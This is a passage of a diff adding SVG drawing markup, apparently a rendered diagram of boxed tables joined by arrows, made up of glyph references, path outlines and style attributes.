+  <use xlink:href="#glyph1-6" x="669.336806" y="86.549154"/>
+  <use xlink:href="#glyph1-2" x="675.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="681.836806" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="684.614583" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="687.392361" y="86.549154"/>
+  <use xlink:href="#glyph1-24" x="690.170139" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="86.549154"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="86.549154"/>
+  <use xlink:href="#glyph1-18" x="733.503472" y="86.549154"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-27" x="535.447917" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="553.225694" y="104.892904"/>
+  <use xlink:href="#glyph1-6" x="561.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-29" x="567.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-5" x="570.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-6" x="579.892361" y="104.892904"/>
+  <use xlink:href="#glyph1-12" x="586.003472" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-18" x="608.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-23" x="615.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="622.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-30" x="624.614583" y="104.892904"/>
+  <use xlink:href="#glyph1-30" x="631.28125" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="104.892904"/>
+  <use xlink:href="#glyph1-31" x="657.114583" y="104.892904"/>
+  <use xlink:href="#glyph1-29" x="663.503472" y="104.892904"/>
+  <use xlink:href="#glyph1-4" x="666.836806" y="104.892904"/>
+  <use xlink:href="#glyph1-9" x="672.670139" y="104.892904"/>
+  <use xlink:href="#glyph1-20" x="677.947917" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="683.225694" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="686.003472" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="688.78125" y="104.892904"/>
+  <use xlink:href="#glyph1-24" x="691.559028" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="104.892904"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="104.892904"/>
+  <use xlink:href="#glyph1-32" x="733.503472" y="104.892904"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-17" x="528.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-33" x="535.447917" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="553.225694" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="556.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-8" x="562.947917" y="123.24056"/>
+  <use xlink:href="#glyph1-11" x="566.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="571.836806" y="123.24056"/>
+  <use xlink:href="#glyph1-15" x="577.670139" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-21" x="602.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-27" x="608.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-35" x="615.447917" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="622.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-23" x="624.614583" y="123.24056"/>
+  <use xlink:href="#glyph1-23" x="631.28125" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="651.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="654.059028" y="123.24056"/>
+  <use xlink:href="#glyph1-36" x="657.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-13" x="665.725694" y="123.24056"/>
+  <use xlink:href="#glyph1-5" x="672.114583" y="123.24056"/>
+  <use xlink:href="#glyph1-6" x="681.559028" y="123.24056"/>
+  <use xlink:href="#glyph1-3" x="687.670139" y="123.24056"/>
+  <use xlink:href="#glyph1-37" x="694.059028" y="123.24056"/>
+  <use xlink:href="#glyph1-11" x="696.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="701.003472" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="703.78125" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="706.559028" y="123.24056"/>
+  <use xlink:href="#glyph1-24" x="709.336806" y="123.24056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="724.336806" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="727.392361" y="123.24056"/>
+  <use xlink:href="#glyph1-10" x="730.447917" y="123.24056"/>
+  <use xlink:href="#glyph1-38" x="733.503472" y="123.24056"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 27.59043 L 39 27.586328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.33457 26.486328 L 26.33457 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 28.730078 26.486328 L 28.730078 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 31.439258 26.486328 L 31.439258 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.129492 26.486328 L 35.129492 30.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.3 26.486328 C 25.134375 26.486328 25 26.620703 25 26.786328 L 25 30.186328 C 25 30.351953 25.134375 30.486328 25.3 30.486328 L 38.7 30.486328 C 38.865625 30.486328 39 30.351953 39 30.186328 L 39 26.786328 C 39 26.620703 38.865625 26.486328 38.7 26.486328 Z M 25.3 26.486328 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="507.953125" y="241.00217"/>
+  <use xlink:href="#glyph0-2" x="515.175347" y="241.00217"/>
+  <use xlink:href="#glyph0-3" x="523.230903" y="241.00217"/>
+  <use xlink:href="#glyph0-4" x="532.119792" y="241.00217"/>
+  <use xlink:href="#glyph0-5" x="536.842014" y="241.00217"/>
+  <use xlink:href="#glyph0-6" x="545.175347" y="241.00217"/>
+  <use xlink:href="#glyph0-7" x="549.342014" y="241.00217"/>
+  <use xlink:href="#glyph0-13" x="553.786458" y="241.00217"/>
+  <use xlink:href="#glyph0-2" x="561.008681" y="241.00217"/>
+  <use xlink:href="#glyph0-14" x="569.064236" y="241.00217"/>
+  <use xlink:href="#glyph0-5" x="574.619792" y="241.00217"/>
+  <use xlink:href="#glyph0-15" x="582.953125" y="241.00217"/>
+  <use xlink:href="#glyph0-10" x="591.842014" y="241.00217"/>
+  <use xlink:href="#glyph0-9" x="600.730903" y="241.00217"/>
+  <use xlink:href="#glyph0-16" x="606.286458" y="241.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.590625 L 28.993359 38.476562 L 24.993359 38.476562 Z M 24.993359 37.590625 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="528.648438" y="268.20931"/>
+  <use xlink:href="#glyph1-2" x="531.703993" y="268.20931"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="553.092882" y="268.20931"/>
+  <use xlink:href="#glyph1-4" x="559.481771" y="268.20931"/>
+  <use xlink:href="#glyph1-5" x="565.315104" y="268.20931"/>
+  <use xlink:href="#glyph1-6" x="574.759549" y="268.20931"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="528.648438" y="286.55306"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="553.092882" y="286.55306"/>
+  <use xlink:href="#glyph1-1" x="560.037326" y="286.55306"/>
+  <use xlink:href="#glyph1-20" x="563.092882" y="286.55306"/>
+  <use xlink:href="#glyph1-6" x="568.648438" y="286.55306"/>
+  <use xlink:href="#glyph1-11" x="574.759549" y="286.55306"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-32" x="528.648438" y="304.900716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-28" x="553.092882" y="304.900716"/>
+  <use xlink:href="#glyph1-6" x="560.87066" y="304.900716"/>
+  <use xlink:href="#glyph1-29" x="566.981771" y="304.900716"/>
+  <use xlink:href="#glyph1-5" x="570.315104" y="304.900716"/>
+  <use xlink:href="#glyph1-6" x="579.759549" y="304.900716"/>
+  <use xlink:href="#glyph1-12" x="585.87066" y="304.900716"/>
+  <use xlink:href="#glyph1-11" x="590.037326" y="304.900716"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-38" x="528.648438" y="323.244466"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="553.092882" y="323.244466"/>
+  <use xlink:href="#glyph1-6" x="556.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-8" x="562.815104" y="323.244466"/>
+  <use xlink:href="#glyph1-11" x="566.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-6" x="571.703993" y="323.244466"/>
+  <use xlink:href="#glyph1-15" x="577.537326" y="323.244466"/>
+  <use xlink:href="#glyph1-11" x="583.092882" y="323.244466"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.993359 37.590625 L 28.993359 37.586523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.32793 36.486523 L 26.32793 40.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25.293359 36.486523 C 25.127734 36.486523 24.993359 36.620898 24.993359 36.786523 L 24.993359 40.186523 C 24.993359 40.352148 25.127734 40.486523 25.293359 40.486523 L 28.693359 40.486523 C 28.85918 40.486523 28.993359 40.352148 28.993359 40.186523 L 28.993359 36.786523 C 28.993359 36.620898 28.85918 36.486523 28.693359 36.486523 Z M 25.293359 36.486523 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10 27.5 L 23.45 27.5 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 23.45 27.75 L 23.95 27.5 L 23.45 27.25 Z M 23.45 27.75 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.5 L 24 29.5 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 10.561719 29.25 L 10.061719 29.5 L 10.561719 29.75 Z M 10.561719 29.25 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 20.6 30.8 C 20.607617 31.457227 21.142773 31.986133 21.8 31.986133 C 22.457227 31.986133 22.992383 31.457227 23 30.8 C 23 29.4 23 28 23 26.6 C 23 26.281836 22.873633 25.976562 22.648438 25.751562 C 22.423438 25.526367 22.118164 25.4 21.8 25.4 C 21.481836 25.4 21.176562 25.526367 20.951563 25.751562 C 20.726367 25.976562 20.6 26.281836 20.6 26.6 C 20.6 28 20.6 29.4 20.6 30.8 Z M 20.6 30.8 " transform="matrix(20,0,0,20,21,-479)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;" d="M 465.523438 65.085938 C 465.566406 65.308594 465.59375 65.5625 465.609375 65.851562 C 465.636719 66.128906 465.652344 66.410156 465.652344 66.699219 C 465.664062 66.996094 465.671875 67.28125 465.671875 67.566406 C 465.683594 67.847656 465.695312 68.117188 465.695312 68.371094 C 465.695312 69.414062 465.515625 70.304688 465.164062 71.042969 C 464.824219 71.789062 464.328125 72.386719 463.679688 72.84375 C 463.046875 73.308594 462.273438 73.636719 461.371094 73.839844 C 460.464844 74.050781 459.453125 74.15625 458.339844 74.15625 C 457.351562 74.15625 456.394531 74.054688 455.480469 73.859375 C 454.558594 73.660156 453.753906 73.332031 453.0625 72.863281 C 452.371094 72.410156 451.8125 71.804688 451.390625 71.042969 C 450.976562 70.277344 450.773438 69.324219 450.773438 68.179688 C 450.773438 67.996094 450.773438 67.757812 450.773438 67.460938 C 450.785156 67.175781 450.800781 66.878906 450.816406 66.570312 C 450.84375 66.257812 450.863281 65.964844 450.882812 65.703125 C 450.890625 65.429688 450.914062 65.226562 450.945312 65.085938 M 464.339844 68.433594 C 464.339844 68.292969 464.339844 68.140625 464.339844 67.96875 C 464.339844 67.800781 464.328125 67.636719 464.316406 67.480469 C 464.300781 67.324219 464.285156 67.175781 464.273438 67.035156 C 464.257812 66.894531 464.242188 66.78125 464.230469 66.699219 L 452.214844 66.699219 C 452.199219 66.75 452.183594 66.855469 452.171875 67.015625 C 452.171875 67.167969 452.164062 67.324219 452.152344 67.480469 C 452.152344 67.652344 452.140625 67.808594 452.132812 67.96875 C 452.132812 68.121094 452.132812 68.234375 452.132812 68.308594 C 452.132812 69.097656 452.300781 69.761719 452.640625 70.300781 C 452.980469 70.835938 453.429688 71.257812 453.996094 71.570312 C 454.558594 71.894531 455.214844 72.121094 455.96875 72.25 C 456.730469 72.378906 457.523438 72.441406 458.363281 72.441406 C 459.109375 72.441406 459.84375 72.382812 460.566406 72.269531 C 461.285156 72.15625 461.921875 71.941406 462.472656 71.636719 C 463.023438 71.339844 463.46875 70.9375 463.808594 70.425781 C 464.15625 69.917969 464.339844 69.25 464.339844 68.433594 M 456.199219 75.34375 C 458.066406 75.34375 459.433594 75.671875 460.3125 76.339844 C 461.1875 77.019531 461.625 77.976562 461.625 79.222656 C 461.625 80.546875 461.167969 81.523438 460.269531 82.148438 C 459.378906 82.78125 458.023438 83.101562 456.199219 83.101562 C 454.320312 83.101562 452.941406 82.761719 452.066406 82.082031 C 451.203125 81.40625 450.773438 80.453125 450.773438 79.222656 C 450.773438 77.890625 451.21875 76.914062 452.109375 76.277344 C 453.011719 75.652344 454.378906 75.34375 456.199219 75.34375 M 456.199219 76.976562 C 455.589844 76.976562 455.039062 77.007812 454.546875 77.082031 C 454.050781 77.167969 453.621094 77.300781 453.253906 77.484375 C 452.898438 77.664062 452.625 77.898438 452.429688 78.183594 C 452.226562 78.480469 452.132812 78.824219 452.132812 79.222656 C 452.132812 79.984375 452.449219 80.546875 453.085938 80.917969 C 453.730469 81.300781 454.769531 81.488281 456.199219 81.488281 C 456.792969 81.488281 457.332031 81.449219 457.832031 81.363281 C 458.339844 81.289062 458.769531 81.160156 459.125 80.980469 C 459.492188 80.796875 459.769531 80.558594 459.972656 80.261719 C 460.167969 79.972656 460.269531 79.628906 460.269531 79.222656 C 460.269531 78.484375 459.941406 77.929688 459.292969 77.546875 C 458.644531 77.167969 457.609375 76.976562 456.199219 76.976562 M 451.539062 91.300781 C 451.285156 90.929688 451.09375 90.519531 450.964844 90.050781 C 450.839844 89.597656 450.773438 89.117188 450.773438 88.609375 C 450.773438 87.917969 450.902344 87.328125 451.15625 86.851562 C 451.410156 86.371094 451.777344 85.984375 452.257812 85.6875 C 452.734375 85.390625 453.308594 85.167969 453.976562 85.027344 C 454.636719 84.902344 455.378906 84.839844 456.199219 84.839844 C 457.964844 84.839844 459.304688 85.160156 460.226562 85.8125 C 461.160156 86.476562 461.625 87.421875 461.625 88.652344 C 461.625 89.214844 461.574219 89.703125 461.476562 90.113281 C 461.375 90.523438 461.25 90.867188 461.09375 91.152344 L 459.761719 90.730469 C 460.097656 90.148438 460.269531 89.523438 460.269531 88.84375 C 460.269531 88.046875 459.933594 87.457031 459.273438 87.0625 C 458.621094 86.664062 457.597656 86.46875 456.199219 86.46875 C 455.632812 86.46875 455.101562 86.511719 454.609375 86.597656 C 454.113281 86.683594 453.683594 86.820312 453.316406 87.019531 C 452.945312 87.234375 452.660156 87.492188 452.449219 87.804688 C 452.238281 88.128906 452.132812 88.53125 452.132812 89.011719 C 452.132812 89.378906 452.195312 89.722656 452.320312 90.050781 C 452.460938 90.375 452.617188 90.644531 452.789062 90.855469 M 461.625 92.359375 L 461.625 93.695312 L 463.828125 93.695312 L 464.339844 95.242188 L 461.625 95.242188 L 461.625 97.597656 L 460.269531 97.597656 L 460.269531 95.242188 L 453.910156 95.242188 C 453.277344 95.242188 452.816406 95.316406 452.535156 95.476562 C 452.265625 95.628906 452.132812 95.878906 452.132812 96.21875 C 452.132812 96.515625 452.164062 96.757812 452.238281 96.960938 C 452.304688 97.171875 452.390625 97.40625 452.492188 97.660156 L 451.285156 97.957031 C 451.125 97.644531 450.996094 97.289062 450.902344 96.894531 C 450.816406 96.515625 450.773438 96.117188 450.773438 95.710938 C 450.773438 94.988281 450.996094 94.46875 451.453125 94.164062 C 451.917969 93.851562 452.671875 93.695312 453.71875 93.695312 L 460.269531 93.695312 L 460.269531 92.359375 M 461.625 98.867188 L 461.625 99.992188 L 460.3125 100.265625 L 460.3125 100.328125 C 460.71875 100.527344 461.039062 100.785156 461.265625 101.113281 C 461.503906 101.4375 461.625 101.835938 461.625 102.300781 C 461.625 102.625 461.566406 103 461.457031 103.421875 L 460.078125 103.125 C 460.207031 102.746094 460.269531 102.410156 460.269531 102.132812 C 460.269531 101.664062 460.132812 101.285156 459.867188 100.988281 C 459.597656 100.699219 459.234375 100.519531 458.785156 100.433594 L 450.773438 100.433594 L 450.773438 98.867188 M 461.625 104.566406 L 461.625 106.113281 L 450.773438 106.113281 L 450.773438 104.566406 M 464.296875 104.269531 C 464.703125 104.269531 465.039062 104.367188 465.292969 104.566406 C 465.554688 104.765625 465.695312 105.019531 465.695312 105.332031 C 465.695312 105.652344 465.566406 105.925781 465.3125 106.136719 C 465.070312 106.347656 464.730469 106.453125 464.296875 106.453125 C 463.882812 106.453125 463.558594 106.347656 463.320312 106.136719 C 463.09375 105.925781 462.980469 105.652344 462.980469 105.332031 C 462.980469 105.019531 463.097656 104.765625 463.34375 104.566406 C 463.582031 104.367188 463.898438 104.269531 464.296875 104.269531 M 450.773438 113.933594 L 457.261719 113.933594 C 458.320312 113.933594 459.082031 113.808594 459.546875 113.554688 C 460.023438 113.300781 460.269531 112.84375 460.269531 112.195312 C 460.269531 111.613281 460.097656 111.136719 459.761719 110.757812 C 459.421875 110.375 459.003906 110.097656 458.511719 109.929688 L 450.773438 109.929688 L 450.773438 108.363281 L 461.625 108.363281 L 461.625 109.503906 L 460.246094 109.78125 L 460.246094 109.84375 C 460.628906 110.125 460.953125 110.5 461.222656 110.96875 C 461.488281 111.433594 461.625 111.992188 461.625 112.640625 C 461.625 113.109375 461.5625 113.515625 461.433594 113.871094 C 461.308594 114.222656 461.085938 114.519531 460.777344 114.761719 C 460.480469 115 460.078125 115.175781 459.570312 115.292969 C 459.0625 115.417969 458.414062 115.480469 457.640625 115.480469 L 450.773438 115.480469 M 451.730469 124.363281 C 451.433594 124.007812 451.199219 123.5625 451.027344 123.027344 C 450.859375 122.5 450.773438 121.945312 450.773438 121.351562 C 450.773438 120.65625 450.902344 120.066406 451.15625 119.570312 C 451.410156 119.074219 451.777344 118.667969 452.257812 118.34375 C 452.734375 118.015625 453.300781 117.777344 453.953125 117.621094 C 454.617188 117.464844 455.363281 117.390625 456.199219 117.390625 C 457.964844 117.390625 459.304688 117.726562 460.226562 118.40625 C 461.160156 119.085938 461.625 120.042969 461.625 121.289062 C 461.625 121.695312 461.574219 122.097656 461.476562 122.496094 C 461.390625 122.886719 461.207031 123.242188 460.925781 123.554688 C 460.640625 123.878906 460.246094 124.140625 459.738281 124.339844 C 459.230469 124.535156 458.5625 124.636719 457.746094 124.636719 C 457.519531 124.636719 457.269531 124.621094 457.003906 124.59375 C 456.75 124.578125 456.480469 124.558594 456.199219 124.53125 L 456.199219 119.019531 C 455.574219 119.019531 455.011719 119.070312 454.503906 119.167969 C 454.007812 119.265625 453.582031 119.421875 453.234375 119.636719 C 452.878906 119.859375 452.601562 120.144531 452.40625 120.484375 C 452.222656 120.824219 452.132812 121.246094 452.132812 121.753906 C 452.132812 122.148438 452.195312 122.539062 452.320312 122.921875 C 452.460938 123.300781 452.628906 123.589844 452.832031 123.789062 M 457.554688 123.132812 C 458.488281 123.160156 459.171875 123.003906 459.613281 122.667969 C 460.046875 122.335938 460.269531 121.886719 460.269531 121.308594 C 460.269531 120.640625 460.046875 120.113281 459.613281 119.71875 C 459.171875 119.339844 458.488281 119.109375 457.554688 119.042969 Z M 457.554688 123.132812 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-17" x="59.203125" y="31.275608"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="31.275608"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="31.275608"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="31.275608"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="31.275608"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="31.275608"/>
+  <use xlink:href="#glyph0-18" x="117.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="31.275608"/>
+  <use xlink:href="#glyph0-19" x="137.258681" y="31.275608"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="31.275608"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="31.275608"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="31.275608"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 0.3 26 C 0.134375 26 0 26.134375 0 26.3 L 0 30.7 C 0 30.865625 0.134375 31 0.3 31 L 8.7 31 C 8.865625 31 9 30.865625 9 30.7 L 9 26.3 C 9 26.134375 8.865625 26 8.7 26 Z M 0.3 26 " transform="matrix(20,0,0,20,21,-479)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="60.14681"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="60.14681"/>
+  <use xlink:href="#glyph1-39" x="38.874132" y="60.14681"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="60.14681"/>
+  <use xlink:href="#glyph1-17" x="44.985243" y="60.14681"/>
+  <use xlink:href="#glyph1-18" x="51.65191" y="60.14681"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="78.49056"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="78.49056"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="78.49056"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="78.49056"/>
+  <use xlink:href="#glyph1-39" x="57.207465" y="78.49056"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="78.49056"/>
+  <use xlink:href="#glyph1-19" x="63.318576" y="78.49056"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="78.49056"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="78.49056"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="78.49056"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="96.838216"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="96.838216"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="96.838216"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="96.838216"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="96.838216"/>
+  <use xlink:href="#glyph1-39" x="53.874132" y="96.838216"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="96.838216"/>
+  <use xlink:href="#glyph1-21" x="59.985243" y="96.838216"/>
+  <use xlink:href="#glyph1-22" x="66.65191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="73.318576" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="79.985243" y="96.838216"/>
+  <use xlink:href="#glyph1-24" x="86.65191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="89.15191" y="96.838216"/>
+  <use xlink:href="#glyph1-23" x="95.818576" y="96.838216"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="115.181966"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="115.181966"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="115.181966"/>
+  <use xlink:href="#glyph1-1" x="56.096354" y="115.181966"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="115.181966"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="115.181966"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="115.181966"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="115.181966"/>
+  <use xlink:href="#glyph1-39" x="85.540799" y="115.181966"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="115.181966"/>
+  <use xlink:href="#glyph1-25" x="91.65191" y="115.181966"/>
+  <use xlink:href="#glyph1-26" x="98.040799" y="115.181966"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="115.181966"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="115.181966"/>
